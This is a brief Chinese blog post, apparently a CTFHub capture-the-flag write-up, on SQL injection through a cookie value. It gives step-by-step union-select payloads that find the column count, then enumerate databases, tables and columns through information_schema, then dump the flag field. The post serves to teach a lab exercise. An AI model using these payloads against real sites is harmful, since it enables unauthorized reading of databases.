本文主要是介绍CTFHUB-SQL注入-Cookie注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
由于本关是cookie注入,就不浪费时间判断注入了,在该页面使用 burp工具 抓包,修改cookie后面,加上SQL语句,关掉burp抓包,就可以在题目页面显示结果了
判断字段数量
发现字段数量是2列
使用id=-1 union select 1,2 判断回显
回显位置是第一二列
查询数据库名
union select 1,database()
查询所有数据库名
union select 1,group_concat(schema_name)from information_schema.schemata
查询数据库中的表名
union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
发现了2个表
查询表中字段名
union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='jhyppjlnjp'
查询字段下的数据
union select 1,group_concat(txpyjbpxlj) from sqli.jhyppjlnjp
这篇关于CTFHUB-SQL注入-Cookie注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!